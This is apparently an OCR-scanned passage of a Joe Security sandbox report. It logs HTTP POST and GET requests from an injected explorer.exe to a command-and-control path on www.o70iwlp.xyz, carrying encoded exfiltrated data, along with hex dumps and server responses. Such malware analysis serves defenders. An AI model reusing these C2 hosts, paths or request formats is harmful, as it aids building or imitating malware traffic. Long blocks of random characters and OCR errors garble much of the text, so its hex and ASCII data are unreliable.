1Gz0TNhXidUJX8J1E8EUyaTZkutny8flu(p6rgoAdy6w05AQbYHNpGdbs6_Rp~ATJIcsXICZuv9-IkExypZDCkD55tQ
NpCfharAHMkgotA79hsoiemlY6p318JnyLwV1V0941hfZPvziX6Wurf20zbNCTTwwYkAasoDUb-tW5CGXTHG-eDLsplEEH-
PuYGLZIdYZpjsxGjF9znEzD5gU1QN8zbHphSONIY2QAibrOznZOPRf3gMTCwWA4G_HbBS1AX0GjTONvwgDWIGQZLngA-
36HrVgVFFtNTzyj0xb9m1gjxjDy_y8JRuH6ihjol5YCMQ8XP9IntY-6LMd12wimZCiN-OGORW?7(UX1DMntMrNH7jMjYsz
om3QB2X6Ckmg-2DNuleHrgPKXROHflIGA44XPI04tjmffk03C7Z2clEI-QVIHfWWMW-NOmMEBGAOSbUM9FV7YmsTAXj~
QM6FqYK~QWgefWrzINJaimgxGbgmDSOgB6BFRrInJpi5F3D1DGeh_E2spBxtDpdmVzph4UhAPMsmGXrwr4YbVs9kLK
kphZPTbwinzS2rkVWeWq8JRIzhKPBoezgLFj3g27EEEz1sYYPDjdLmPmenq1ZJR8aicAaiSL8C8YXwK (jeRmy3mgPG
fOHV59PsLn6Bipd8Dty TI5xkeyrSGkI3yHIW_grz1UuHKRYt7s7Eij6CuhIFHPgNVibYGnwsqY-QnnSyvJrcobbel Ewlyfab1QF(
EyBTCEYzjWMCcnohARSZgNFWjmLt7J0JwS842HhbPKotXNWe2v7hvThWuexKwPUHFSEU6FnpYUyJxmSh
GwvpNSBuUA71188PnYMOagBIW_fZU4pgqS8Ri8FeRwpZWUvCmrz7rHe2EwJ3PhAOVIf7xnb6vRZ_jkLcqmEjskOMI5P
RdknQKNoK7wtU2fomEONLMtcp9LzQgLrDM2ZGluy1J7L921zTwToTACUZHAW|GUQKOTT1YT83sy5AqsB6gFg_Bei88
TKwnIMU75F63vAC6swF73bbla6WDElltcolbgOkPL~mMTie9o6zalbpjyNALcIBnZ3hAabRBxH-fMj5SEybG5q0O-8yc
CHiXpQh4NMnfHrT71HBDH5Y celLgkXAQUA-uPWgR0SJWVbgkpKOZkHNn9ujAEcC3FdJIvg3KxIIVQIGadtIA-rkm9TgB
WeY1FJVVH6gGHItEcuTdOASKaNIpYkuwQhUaPhW(Ng5lejJSYMTaghjfzmPguU7UwBW~Mu9JaGulWohxO4vrEu3ltaio
MEiYr1aJqYTx637HyRQedEsyQTFBEDdg3L6EBVIUIAEOW7puvvivHntoyuuXDN5mrdlhx_ONN7HXRK73EHST8NB_mbF
7Z4vXL76Ypvth~QCk4YA-x498Lhnx19J2YBbEAABISIhq85v0hyHCRb(KaczM9AWfrSWdGvQ7J36aGBhyPVKSmM8hYU
FmgHN8fQf6tITQzg7DOt6VoNOKKGZkmeInGIWQgWJIKLtFkitrpWhI5xbiOzS10vzE(Co74gk9128wzN23IfqLRtI-Z
zIrINR10QgSLnT7ixzpSFpDNMLMZiuhZ566h8MICKoaRWxeizssnJWVEyewQ89kTfSt23hk3dWefqzXGaPyh2Tvu
IHZmdDcYRgZLmUcdAnjgDozAPU7kYAzH1eDtvm8Eymmb5leppRidReY_ObnWLOxZ8pHIMAIalEQFow91p35FIxqAchG
rHOTrb-J8LGFuMgaWNt(000yC1KCtYVvIHQHIhOBbahDVFsfkXm6dg1Tm6YthaWZaNpFV_eNVHQnwK8BpLIWrxHI2z7
h9ewvNGVNC_sgBniJjJWiNXb6Ty2nhGSFfD7v6_XL3U4pjTQsohUiSWIVQ
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Timestamp T Direction
May 27, 2022 7606 IN
17:28:02.328591108
CEST
Session ID Source IP Source Port
40 192.168.2.3 49966
. kBytes . .
T D
imestamp transferred irection
May 27, 2022 9715 ouT
17:30:23.448597908
CEST

Copyright Joe Security LLC 2022

134.122.201.217 80

Data

HTTP/1.1 404 Not Found

Connection: close

x-powered-by: PHP/7.4.29

content-type: text/html; charset=UTF-8

x-litespeed-tag: 440_HTTP.404

expires: Wed, 11 Jan 1984 05:00:00 GMT

cache-control: no-cache, must-revalidate, max-age=0

link: <http://thebestvidforall.xyz/wp-json/>; rel="https://api.w.org/"

x-litespeed-cache-control: no-cache

transfer-encoding: chunked

content-encoding: gzip

vary: Accept-Encoding

date: Fri, 27 May 2022 15:28:02 GMT

server: LiteSpeed

Data Raw: 32 66 35 32 0d Oa 1f 8b 08 00 00 00 00 00 00 03 ec 7d 6b 73 e3 b6 92 e8 67 bb ea fc 07 Oc 5d 19 4b 09 49 91
d4 9b b2 9c 3d 99 3c 36 5b c9 9e 54 26 d9 5b b7 92 d4 14 44 42 12 67 28 92 87 84 2c 39 8e ef 6f bf d5 78 f0 25 50 2f 8f
93 d4 ce 24 95 58 24 81 ee 46 a3 d1 dd 00 1a 8d 9b 17 5f fe eb d5 4f ff {7 87 af d0 92 ae c2 db cb 1b f8 83 42 1c 2d a6 la
89 8c 9f 5f 6b fO 8e 60 ff f6 f2 e2 66 45 28 46 de 12 a7 19 al 53 ed e7 9f be 36 46 1a ea e4 5f 22 bc 22 53 ed 2e 20 9b 24
4e a9 86 bc 38 a2 24 a2 53 6d 13 f8 74 39 f5 ¢9 5d e0 11 83 3d e8 28 88 02 1a €0 d0 c8 3c 1c 92 a9 cd e0 70 04 Oc cc 75
lacf 62 9a 5d €7 40 ae 57 78 6b 04 2b bc 20 46 92 12 40 e2 86 38 5d 90 6b 20 e0 86 06 34 24 b7 3f e0 05 41 51 4c d1
3c 5e 47 3e 7a 79 35 72 6¢ 7b 82 be bf 47 5f 84 f1 e2 a6 c3 4b 5d de 84 41 f4 Oe a5 24 9c 5e fb 51 06 e0 e6 84 7a cb 6b
b4 4c c9 7c 7a dd e9 d0 25 99 91 8c de 05 fe 3c 4e 71 18 9a db fb df 39 9e 43 35 33 73 63 c6 €9 a2 56 58 c3 21 25 69 84
29 d1 10 bd 4f c8 54 c3 49 12 06 1e a6 41 1c 75 d2 2c fb 6¢ bb 0a 35 c4 c8 9b 6a 82 5¢ f4 32 c5 ff 5e ¢7 13 f4 35 21 be c6
69 d3 96 94 26 ae 9a c0 ce 9c 10 bf ¢3 f9 98 93 f9 34 cc af e2 d5 8a 44 34 3b 9a 04 4f 54 28 d3 92 79 69 90 d0 db cb 4d
109l c6 7c b3 49 c8 2a 7e 1b bc 26 94 06 d1 22 43 53 f4 a0 cd 70 46 7e 4e 43 cd 65 0d cc dc 5f 3b bf 76 04 2b 7f ed
b0 4e cf 7e ed 78 71 4a 7e ed b0 ca bf 76 ec 9e 69 99 d6 af 9d al b3 1d 3a bf 76 34 5d 23 5b aa b9 9a 99 44 0Ob 4d d7 b2
bb ¢5 79 f0 b2 bb 05 83 96 dd 2d be e2 00 b3 3b 06 30 5e a7 1le d1 dc 07 cd 8b 23 0f 53 46 86 a0 97 91 ab 92 99 5f 3b 9b
c4 08 22 2f 5¢ fh 24 b b5 3 36 63 2f 58 55 23 25 21 c1 19 31 57 41 64 be cd 3e bf 23 €9 74 60 5a da e3 e3 e4 b2 f3 e9
Ob f4 d3 32 ¢8 d0 3c 08 09 Oa 32 84 d7 34 36 16 24 22 29 a6 c4 47 9f 76 2e 5f cc d7 91 07 d2 d3 22 3a d6 69 fb el Oe a7
28 d2 53 3d d6 83 29 36 bd 94 60 4a be 0a 09 74 5f 4b f3 70 74 87 33 ad ad 27 d3 c0 5c 10 fa 0a 06 6 96 be 7c 59 7e 6a
69 8e af b5 27 12 30 ca 5a 44 02 c6 d3 d7 34 0d a2 85 39 4f e3 d5 ab 25 4e 5f ¢5 3e d1 c9 b4 95 98 5e 48 70 fa 23 f1 68
cb d2 2d 3d 30 f9 e8 Oe cc 25 09 16 4b da d6 13 73 1e 84 el 4f 64 4b 5b d8 04 a9 bf 6f d1 65 90 e9 a4 ad 5b ba d5 d6 03
93 c6 5f 62 8a 7f fe f1 bb 56 bb 3d 49 09 5d a7 11 3a 1f 2e 15 70 c9 74 3a ad c0 7e cc 1b €6 b5 08 e7 17 dd e5 14 17 56
ad 3d al 66 96 7a 53 a2 53 d3 27 73 92 4e a9 c9 07 2e f0 ad f3 16 df 61 51 52 c7 c0 50 c1 e9 ec 8b fb 9f f0 e2 bf f1 8a b4
34 d0 99 5a fb 17 eb 37 68 35 89 fc 57 cb 20 f4 5b b4 fd 38 8f d3 56 3c fd 67 9a e2 fb 96 36 0f 31 48 17 97 a6 b6 4e cd 6¢
9d 80 2 cc a6 Of e4 8e a4 f7 74 19 44 0b 7 85 a5 17 4f 5f 6d 3d 92

Data Ascii: 2f52}ksg]KI=<6[T&[DBg(,90x%P/$X$F_OB-_k fE(FS6F_""S. $N8$Smt9]=(<pub] @Wxk+ F@8]k 4$?AQL<
AG>zy5r{G_K]A$"QzKL |z%<Ng9C53scVX!%i)OTIAu,I5)\2/5!i&4D4; 0T (yiM|I*~&"CSpF~NCe_;v+N~xqJ~Vi:v4]#DMy-
[0MSF_"\$BC/XUHY%! ITWAd>#t Z2<246$")Gv._"i(S=)6"Jt_Kpt3'\|Y~ji'0ZD490%N_>"Hp#h-=0%KsOdK[oe[_bV=I]:
.pt:~V=fzSS'sN.aQRP4Z7h5W [8V<g61HNItDO_m=

Destination IP Destination Port Process

C:\Windows\explorer.exe

Data

POST /np8s/ HTTP/1.1

Host: www.o70iwlp.xyz

Connection: close

Content-Length: 414

Cache-Control: no-cache

Origin: http://www.o70iwlp.xyz

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.o7oiwlp.xyz/np8s/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 63 32 4d 48 36 44 65 50 3d 5a 67 43 72 46 35 79 32 45 73 4d 42 52 64 35 50 48 77 34 51 53 30 31 32 4d 78
36 4542 48 64 32 74 45 33 38 37 67 51 35 7e 52 62 39 77 45 66 71 4d 37 35 4b 6d 57 7e 31 50 50 76 38 74 49 4a 47 57
49 36 43 68 35 41 49 72 70 43 79 42 52 5a 66 35 48 30 6f 57 77 43 41 32 34 38 66 59 6f 41 45 35 68 57 61 45 71 52 31 3
6 4f 62 5f 64 72 48 4c 41 39 4d 48 70 7a 57 41 6a 75 78 70 61 4d 38 6e 51 62 4d 32 72 6f 6b 4f 51 69 32 51 77 51 6a 47
79 65 64 62 55 79 45 42 53 6b 6a 76 7e 54 63 4c 30 63 78 30 6d 75 45 6a 28 6d 34 4¢c 73 73 71 4b 54 74 4d 4f 7e 76 72
48 44 32 4c 4d 41 5f 4e 76 43 4e 36 75 5a 33 37 54 69 35 71 34 39 64 4b 51 79 38 4a 61 28 52 35 78 36 7341 37 72 79
49 71 50 37 35 48 4c 73 4d 6e 50 5a 76 72 48 66 72 32 57 51 74 64 47 59 7e 50 4a 6¢ 59 42 55 45 4a 62 70 4e 33 74 31
5f 50 30 30 45 42 69 36 4b 6e 56 77 7a 6a 73 35 49 6a 41 6d 44 34 43 71 79 62 71 79 31 53 35 4a 56 79 53 6b 46 70 77
78 70 53 65 79 68 5a 42 69 49 6d 30 28 5f 37 41 32 6¢ 4d 66 55 36 77 50 6¢ 4a 64 4e 32 74 69 59 50 30 4c 39 64 6a 6b
56 6f41 7e 46 51 53 30 47 59 72 41 53 35 77 39 4f 55 58 75 47 63 37 79 45 46 47 28 4e 72 43 4b 62 79 38 4c¢ 75 64 51
56 63 76 72 30 51 4e 50 52 72 62 58 32 66 69 4b 7e 71 69 57 73 65 28 41 29 2e 00 00 00 00 00 00 00 00

Data Ascii: c2MH6DeP=ZgCrF5y2EsMBRA5PHwW4QS012Mx6EBHdA2tE387gQ5~RbOWEfqM75KmW~1PPVv8tIJIGWI6Ch
5AIrpCyBRZf5H00WwWCA248fYoAEShWaEgR160b_drHLAIMHpzWAjuxpaM8nQbM2rokOQi2QwQjGyedbUyEBSkjv~Tc
LOcXOMUEj(m4LssqKTtMO~vrHD2LMA_NvCN6uZ37Ti5q49dKQy8Ja(R5x6sA7rylqP75HLSMNPZvrHfr2WQtdGY~PJ
IYBUEJbpN3tl_POOEBi6KnVwzjs5ljAmD4Cqybay1S5IVySkFpwxpSeyhZBilm0(_7A2IMfUBWPIJdN2tiY POL9djk
VoA~FQSO0GYrAS5w90UXuGc7yEFG(NrCKby8LudQVevrOQNPRrbX2fikK~giWse(A).
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kBytes

Timestamp transferred
May 27, 2022 9715
17:30:23.646445990
CEST
Session ID Source IP
41 192.168.2.3

. kBytes
LLLLEE L transferred
May 27, 2022 9729
17:30:23.658545017
CEST

Copyright Joe Security LLC 2022

Direction

IN

Source Port

49967

Direction

ouT

Data

HTTP/1.1 404 Not Found

Server: nginx

Date: Fri, 27 May 2022 15:30:23 GMT

Content-Type: text/html

Content-Length: 146

Connection: close

Data Raw: 3c 68 74 6d 6¢ 3e 0d Oa 3c 68 65 61 64 3e 3c 74 69 74 6¢ 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f
74 69 74 6¢ 65 3e 3c 2f 68 65 61 64 3e 0d Oa 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3¢ 68 31 3e 34 30 34 20
4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69
6e 78 3c 2f 63 65 6e 74 65 72 3e 0d Oa 3c 2f 62 6f 64 79 3e 0d Oa 3c 2f 68 74 6d 6¢ 3e 0d Oa

Data Ascii: <html><head><title>404 Not Found</tite></head><body><center><h1>404 Not Found</h1></center><hr><c
enter>nginx</center></body></html|>

Destination IP Destination Port Process
134.122.201.217 80 C:\Windows\explorer.exe
Data

POST /np8s/ HTTP/1.1
Host: www.o70iwlp.xyz
Connection: close
Content-Length: 36482
Cache-Control: no-cache
Origin: http://www.o70iwlp.xyz
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://www.o7oiwlp.xyz/np8s/
Accept-Language: en-US
Accept-Encoding: gzip, deflate
Data Raw: 63 32 4d 48 36 44 65 50 3d 5a 67 43 72 46 37 33 6a 61 50 59 59 53 4e 31 38 45 41 73 45 48 55 46 30 4e 42
7e 48 4f 6d 77 32 6e 56 47 4e 31 43 59 49 28 54 62 6e 6d 6b 44 48 62 73 31 43 6d 53 36 51 56 73 47 33 36 34 56 46 57
4d 57 38 68 35 30 49 6f 70 71 35 41 32 46 35 33 45 63 76 55 51 44 37 31 34 38 47 54 4e 67 6¢ 35 6e 4c 31 4571 59 2d 3
6 2d 6e 5f 50 59 76 4c 52 75 30 4d 30 44 58 46 67 71 63 32 43 73 77 4151 62 55 75 72 73 73 4f 51 53 36 51 7a 78 54 46
6¢ 50 64 63 5a 43 45 41 5a 45 6a 36 33 7a 41 66 30 63 46 4b 6d 72 6b 6a 28 30 63 4c 71 74 4b 4b 61 38 4d 4a 30 5f 72
65 48 32 4c 46 45 5f 52 36 43 4a 61 59 5a 79 57 73 69 4a 75 34 39 74 4b 52 33 76 35 73 6f 79 51 6e 38 73 63 63 72 79
5551 50 70 4d 55 4c 74 51 48 49 72 33 51 62 72 54 63 57 54 42 33 41 34 7e 4c 43 46 59 67 55 45 4a 72 70 4e 33 48 31
5f 28 30 30 44 6¢ 69 34 73 37 56 67 68 62 76 6b 59 6a 5f 74 6a 35 52 6e 53 58 61 79 78 7e 70 4a 51 65 30 6b 32 46 77
6a 38 32 65 30 56 74 4f 76 6f 6d 36 78 66 37 6a 28 46 4d 51 55 36 77 58 6¢ 49 64 64 78 63 7e 59 56 41 66 39 64 42 4d
56 71 77 7e 46 65 79 31 41 57 4c 4d 43 35 77 6¢ 4b 55 53 72 39 63 4b 32 45 45 54 6a 4e 71 6e 7e 62 78 4d 4c 75 52 77
56 4f 70 36 41 62 62 64 31 55 57 6b 69 55 6e 66 58 76 68 6e 64 67 76 4f 32 75 7e 4b 4c 50 48 31 58 54 68 7a 35 30 71
5050 6a 67 52 70 55 63 73 4f 49 39 46 30 54 31 41 79 4b 56 64 58 46 43 52 6d 4e 4c 49 53 46 71 57 6f 73 4b 5f 75 71 4c
2d 66 37 79 6b 39 50 73 61 51 75 68 4f 39 4e 55 4f 7e 44 42 47 6a 30 77 6f 57 72 77 77 5a 62 35 35 35 2d 41 71 71 4e
55 72 35 56 50 6b 70 48 6d 68 74 2d 58 6¢ 39 5f 53 5a 51 65 78 34 73 33 79 75 77 43 36 6d 56 70 51 6a 35 4a 61 55 4b
67 39 56 4d 57 28 46 64 38 6¢ 2d 53 4e 4d 4a 7e 55 69 56 6d 37 32 52 7a 64 6b 71 52 69 6d 66 43 6e 76 39 73 44 54 43
49 6d 72 78 49 64 31 4b 51 69 6d 47 71 6559 41 50 31 55 36 53 66 79 36 78 7a 67 76 46 52 56 73 32 57 46 62 74 67 57
77 4e 52 65 51 41 6e 69 72 34 70 73 47 6a 55 6¢ 6f 4f 48 43 63 65 63 53 5f 34 68 6d 57 33 48 4b 5a 72 62 6e 38 74 30 36
52 52 46 58 51 6d 35 62 43 46 4c 39 4b 47 42 6b 33 36 48 6f 79 6e 32 67 36 5a 7a 39 42 31 6e 7a 41 49 39 4d 51 73 69
42 78 4f 38 65 2d 6e 48 66 53 79 33 62 35 65 58 49 75 77 46 4d 62 5a 41 36 44 38 69 38 73 31 56 47 32 6f 41 55 71 77
41 69 7a 69 43 77 38 77 6f 7e 6¢ 6e 4c 57 46 37 56 35 69 6¢ 38 39 69 55 6¢ 4d 58 68 62 73 75 32 54 34 4e 56 61 68 57
64 64 34 4f 58 44 41 5a 37 6¢ 62 68 32 6¢ 51 37 47 6f 66 4b 33 47 6a 4d 30 6a 70 72 70 32 52 35 78 76 34 5f 53 57 53 58
37 5f 3854 77 35 39 34 55 47 7a 69 61 50 59 6f 57 70 31 58 43 42 4d 42 6f 58 43 71 6e 52 7a 31 4e 64 75 7a 79 69 43
77 45 6¢ 71 54 55 46 46 58 28 43 42 73 63 73 74 6e 76 44 70 61 6a 59 43 64 62 62 61 52 7e 35 36 68 31 69 6d 70 4e 33
70 48 62 49 4a 44 75 45 49 44 4a 54 5a 36 58 72 4f 4f 37 2d 41 47 7e 73 70 6e 52 62 4a 52 6a 51 4d 49 48 78 30 4a 53
2d 6a 4a 7e 4e 28 65 71 76 62 32 56 66 7a 70 39 33 63 50 48 38 4b 4b 58 33 71 4a 4e 6b 78 71 53 33 6d 4e 69 71 53 42
4d 47 6¢ 79 30 77 56 4a 61 71 4e 39 78 59 28 50 64 63 36 64 49 35 4c 51 59 5a 54 62 4e 32 70 4a 49 6¢ 51 62 77 64 4d
7153 77 38 6f 72 6¢ 4¢c 35 67 79 33 42 28 46 55 70 6e 38 37 5f 55 6d 30 58 37 75 7a 5a 44 6a 69 36 31 4e 72 5f 7e 35 3
2327269 4c 6f 42 74 63 74 6f 34 6b 5f 6e 58 37 2d 49 54 42 4d 38 4c 4a 49 37 48 6¢ 4e 61 6e 74 46 4b 2d 6d 4d 7a 6a
3136 67 67 7358 44 30 51 41 58 78 69 47 49 70 33 55 75 70 28 56 66 51 36 35 67 78 6a 65 67 43 30 38 35 53 4b 58 33
70 58 42 30 58 79 47 4f 65 6a 69 77 55 7a 30 4f 6a 4f 71 62 71 6b 7a 4e 3248 7a 77 64 73 71 34 61 64 32 65 37 76 78
52 52 6b 73 46 52 34 64 57 45 7a 49 36 45 28 6e 4a 6¢ 6e 35 46 65 4e 6a 6f 44 64 62 39 2d 61 46 41 74 79 42 44 55 74
736159 6e 78 37 31 59 6d 70 5f 59 33 58 73 32 75 78 4f 4f 34 31 53 57 34 6f 2d 32 4e 54 70 63 78 52 33 78 36 36 59 5a
38 53 7a 6e 6f 42 77 64 46 79 36 76 33 78 6¢ 46 5a 53 31 77 76 6e 74 75 32 77 62 33 41 72 43 6e 69 57 43 71 59 55 6e
58 35 34 36 47 51 28 52 4b 4a 57 6a 66 50 7e 71 35 67 58 62 34 61 47 6a 52 54 4b 75 63 76 77 4b 48 4e 7e 41 33 74 36
76 78 4a 28 52 53 70 52 65 30 46 36 53 6a 58 70 70 36 64 6d 4f 68 64 32 6b 45 36 50 61 4a 61 77 44 7e 5a
Data Ascii: c2MH6DeP=ZgCrF73jaPYYSN18EASEHUFONB~HOmMw2nVGN1CYI(TbnmkDHbs1CmS6QVsG
364VFWMW8h50lopgq5A2F53EcvUQD7148GTNgI5nL1EqY-6-n_PYVLRUOMODXFggc2CswAQbUurssOQS6QzxTFIPdcZ
CEAZE|63zAf0cFKmrkj(0OcLqtKKa8MJ0_reH2LFE_R6CJaYZyWsiJu49tKR3v5soyQn8sccryUQPpMULIQHIr3QbrT
CcWTB3A4~LCFYQUEJrpN3H1_(00DIi4s7VghbvkY|_tj5RnSXayx~pJQe0k2Fwj82e0VtOvom6xf7j(FMQUEwXIIddx
c~YVAf9dBMVaw~FeylAWLMC5wWIKUSI9cK2EETjNgn~bxMLURWVOp6Abbd1UWkKiUnfXvhndgvO2u~KLPH1XThz50qPP
jgRpUCsOI9F0T1AYKVAXFCRMNLISFqWosK_ugL-f7yk9PsaQuhO9INUO~DBGj0woWrwwZb555-AqqNUrsVPkpHmht-X
19_SZQex4s3yuwC6mVpQj5JaUKg9VMW(Fd8I-SNMJI~UiVm72RzdkgRimfCnv9sDTCImrxld1KQimGgeYAP1U6Sfy6x
zgvFRVs2WFbtgWwNReQANir4psGjUloOHCcecS_4hmW3HKZrbn8t06RRFXQm5bCFLIKGBk36Hoyn296Z2z9B1nzAI9M
QsiBx08e-nHfSy3b5eXIuwFMbZAGED8i8s1VG20AUqwAiIziCw8wo~InLWF7V5il89iUIMXhbsu2T4ANVahWdd4OXDAZ7
Ibh21Q7GofK3GjMOjprp2R5xv4_SWSX7_8Tw594UGziaPYoWp1XCBMBoXCgnRz1NduzyiCwEIQTUFFX(CBscstnvDp
ajYCdbbaR~56h1impN3pHbIIDUEIDJITZ6XrO07-AG~spnRbIRjQMIHX0JS-jJ~N(eqvb2Vfzp93cPHBKKX3gJNkxqS
3mNigSBMGlyOwVJagN9xY (Pdc6dI5LQYZTbN2pJlIQbwdMgSw8orlL5gy3B(FUpn87_UmOX7uzZDji6 1Nr_~522riL
oBtctodk_nX7-ITBM8LJI7HINantFK-mMzj16ggsXDOQAXxiGlp3Uup(VfQ65gxjegC085SKX3pXB0OXyGOejiwUz00
jOgbgkzN2Hzwdsqg4ad2e7vxRRksFR4dWEzI6E(nJIn5FeNjoDdb9-aFAtyBDUtsaYnx71Ymp_Y3Xs2uxOO41SW40-2
NTpcxR3x66YZ8SznoBwdFy6v3xIFZS1wvntu2wb3ArCniWCqYUnX546GQ(RKJIWjfP~q5gXb4aGjRTKucvwKHN~A3t6
vxJ(RSpRe0F6SjXpp6dmOhd2kE6PaJawD~Z0cS5sPmMKRPE392I-5luPcX4XuffUBtHIBX08ESo_jaAeeeVo7Kr7V69iV-
KMZjf6~ZiCHkseSYP9BzIZdx50NWAKDL38LvXIrOKWCInwmt7TCWxidoc5011CeKtuWzyB9QBud3LftkPEGcSy(
IBKWWMa7449b8N8NENOHIiYdZJ2iWCXDRPOsvabwNOeppvwwDWZXDMaMea cp02BnUvYstAXm5blAafOaO ]
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Timestamp

May 27, 2022
17:30:23.867477894
CEST

Session ID

42

Timestamp

May 27, 2022
17:30:23.869828939
CEST

May 27, 2022
17:30:24.079101086
CEST

Session ID

43

Timestamp

kBytes
transferred

9748

Source IP

192.168.2.3

kBytes
transferred

9753

9754

Source IP

192.168.2.3

kBytes
transferred

Copyright Joe Security LLC 2022

Direction

Source Port

49968

Direction

ouT

Source Port

49971

Direction

9ch4Vi6AScabzLUCO9TalpBb6PIkOJFA_eVjj6E2BwesDaCriMAhXKINZpPxu4XDg9GVBVLNYNIXHOb5mOIm28tcID
%&XdCKer 1XwDXscFILNJ_cjaCSvQTbZulL3cGaNxU_pUx8I2WsIAf06Jkxv5bqUdn6N1~CULGqQyekRwmveTk3XYH
P9jm_GX38(3K3Jg30TxV-QLtXQusHom(NrNgOKzEFT004tFnjGqzIGKtKSrHyQs7k8Pb2~T4cgzcGmROWXgplmaer8
sw6bntk2YIKi7l~uu_HDx8WwMtlhQIKzgzANjtKOLMOdizPNnbSbaOIF4_jOUqSgFZU5XbwZXa2cVpt27ZTAI12p5-Q
i39WGZsQSeZeQCcAEOalh_hxwPzYEqxYbVmtCNUoz1gEWv5vD73vpTtiqY T8BFemWKcu3itxQCKaYDMN~-Q
hpH7WxTYLysmvEmACjxNV2YIDe1Z50Vkr3DNu3ufncFoGVtDgOTjFzcq44W(-V700Mvpp85gNOIXP2cXQiRqS56Lp0
_ezwRYucyuRGS3I2rvs(8vtm3YqPjvPgYleC7MBhIUOIOMQm9zDD-ZHu6I5tdpBt_9Ig0ac9QoLBivBDbILBSeyl7m
h34ffQ3WwaVKdV4oX(U(2idu77k(r4Y46260fR4SxZAZBx0SIkth6cE15JjunjlogSG20SeKcCZQuLKT8VYOuBP2yP
tg8PiKoBNNTscxgpop2HydKox(QIhEo5CxQdU7hcJiDnu9i3HnIsFVfceiEgGGVPZfeyUAL9VweCtt8tG4k0BaKrgl
WDx3AWd6z3fNQ5mMfIPKyXIjYfzpCYy6iRTZE_WQIWwWOBegAINndAtK GbK80xzTR1gkbzATIR49qg5T1TmvGHUCTDz69
mx50PmMKCDI7fEFIIjKRD90-AlbggEPS8I968J8xns1UIIN9IV41vIxnOKPmIdPFtZCkr-OomrTScuGUx4la2CLGicp
8r79q(XFlycDxLd~-GBAyjQ~tUbnHipCsPcPCvrTKSLNHd452g6b2qgflElakin_ PROgzADpDgdU(_DiACnncvjQ3mw
UTACM8ynWbNd4TiPKVV5zTRBbnd1GIICX7ehCf1AWP9t4Ip(gZ00g2aEdI3xIFTK95QLowkBXxCOgq6PL~RQP7E9Z1XO
EnXM0069p7LCIPVRXKfggRNwEMXyQqDOdQpRwTr3gMkbyUJvnY OBV4dtcyzzMNZ9EHpvxeWy3dqFAl-bAp-s-E3q8M
54sPYEzzYZVMimbcFnXFEZ3kFY5JbCczo5R~7A9u5~FV0B8rP6c5WSmk8kmlbn2ZLvH(IzZ3ceS4Wswoa-5MAIuHBhn
pJ9wfUQMOd}3HizDNKDNnn3jyGBNt4PKb2MWV09EVqZM3-khmwlIM42ECy33sICM2lie9sbo5JLHGuna9Q7ANK9woy8
CpligP4j26mFjo3imkaRoKKeg7gmTWelkZdrG6admFKT97mOAGIZtKHxzj7t_LXhsQO1lhgeK5E7ZegX8ImStFMkwvC
hnfHhZgXtGO~pba~ZFM7Qq4gucWWugEOIShMu09G81S4HUtO3XSXhtpmpillEOEWWKIBCTG(YxyoLhtXZ(9NGertUe
rmwGEcmTIX9WRih8AyJbM8SINvxkvdkzXqvrmy9CaFvwaVsOyy8313-gN4jaLMLEO8ZLLb25fpKgVBdUEpti62rqLW
bYICIJ7gexYPbBEPnAbY OWRwrLOW-fyCO37gH8M1iArWB0heQL5p9JF7ULqdWFRIIOXWUIUut2Quy9RKNOU4TE4e073
kD2ZHUQgXj8HBO0-00hW1fAKZkpzxnwinAfMpldQw4Ha2uVG(Mo4z9S5dqqggtY 6bw5AkQ3vXmagv_iK6ANVNOIOTOiek
72PEVjAu3C00OR6b21wvUoEYe3ylvLodYIObWIG7Mi(MQBIgzfiSSIF_6TqlUgRsbWemUgHj5YRXdFx7Zzx8Jh79JuX
s~5jk6k3sZPD74PDRZ10dghzqgrC5AIE-BuKwNdkrk1KTglt0J-xbytjgpQcOp-fFAKx4WS~0vht9u4AVoT4sLmMg2
m30KIZIfghEULNZAIKLWi8vw01g00im85(IEYi3SZQEN0AeDU087108G755GeY pQk2jPJUkyfhHVSNVrOZIDjsemQT
FIksDRInvupCZpv6NHC0a445FBAW7VIIINAUSyt4ZsMErNtuXIsbZfBOmSdCjsT8alEMA44bQ8iGXIZmaVH2QaWBXI|
S4yybgMXrS6pdM5(AUYrvX2zJqog4SDK5trXVsi3c7K72e7gicmsot3f7VPgxYRDtmk208AzFbyh1k8g3t8lqve 1Cf
ALNICWFOKUPOYEFR8FgYXaJWU03244ZLb2ZrDiDuia89Y9hR91csuNISD11s1AyUOijbhygNvtiVRIDPEGNI03cQw
6dF8pdLWN7xX1NBPhOIVIISJIRNvYLISOZz1j35Ci4mgTmY G8eg5a4VXH5THOgOt45vY CLFOVVR6EJA

HTTP/1.1 404 Not Found

Server: nginx

Date: Fri, 27 May 2022 15:30:23 GMT

Content-Type: text/html

Content-Length: 146

Connection: close

Data Raw: 3c 68 74 6d 6c 3e 0d Oa 3c 68 65 61 64 3e 3c 74 69 74 6¢ 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f
74 69 74 6¢ 65 3e 3c 2f 68 65 61 64 3e 0d Oa 3c 62 6f 64 79 3e 0d Oa 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20
4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d Oa 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69
6e 78 3c 2f 63 65 6e 74 65 72 3e 0d Oa 3c 2f 62 6f 64 79 3e 0d Oa 3c 2f 68 74 6d 6¢ 3e 0d Oa

Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><c
enter>nginx</center></body></html>

Destination IP Destination Port Process
134.122.201.217 80 C:\Windows\explorer.exe
Data

GET /np8s/?c2MH6DeP=Wi2RbeLHGdcMG/4zbWZrHjxVNTurLVF13zSFjScR2hfe23jELpoygCvTVMXCwbd5YdLw&h
FQL=JXUhrvXxUhF4 HTTP/1.1

Host: www.o70iwlp.xyz
